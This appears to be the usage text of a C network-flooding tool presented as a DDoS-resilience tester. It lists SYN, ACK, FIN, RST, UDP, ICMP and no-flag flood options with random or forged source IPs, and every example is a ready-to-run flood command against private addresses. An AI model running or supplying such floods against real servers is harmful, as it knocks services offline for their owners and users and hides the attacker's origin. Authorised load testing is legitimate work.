C Tool to test resilience and DDoS mitigation capability of an internet connected server
gcc g3m.c -o g3m
g3m [OPTIONS] -h <destination HOST or IP> -p <startPort>,<endPort>
-T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN] (no default)
-U UDP attack (no options)
-I ICMP attack (no options)
-N Bogus No flag attack (no options)
-s source class/ip (defaults to random )
-h destination host/ip (no default)
-d destination class (no default)
-p destination port range [start,end] (defaults to random )
-q source port range [start,end] (defaults to random )
-l % of box link to use (defaults to 100%)
-t timeout (defaults to forever)
g3m -T 3 -I -h 192.168.25.155 -p 80,80 Performing a TCP SYN and ICMP Flood at port 80 of 192.168.25.155.
g3m -U -h 192.168.25.100 -p 7171,7174 UDP attack at ports 7171, 7172, 7173 and 7174 of 192.168.25.100
g3m -T 2 -s 5.5.5.5 -h 192.168.25.100 TCP RST Attack at Random port, setting source ip header field with 5.5.5.5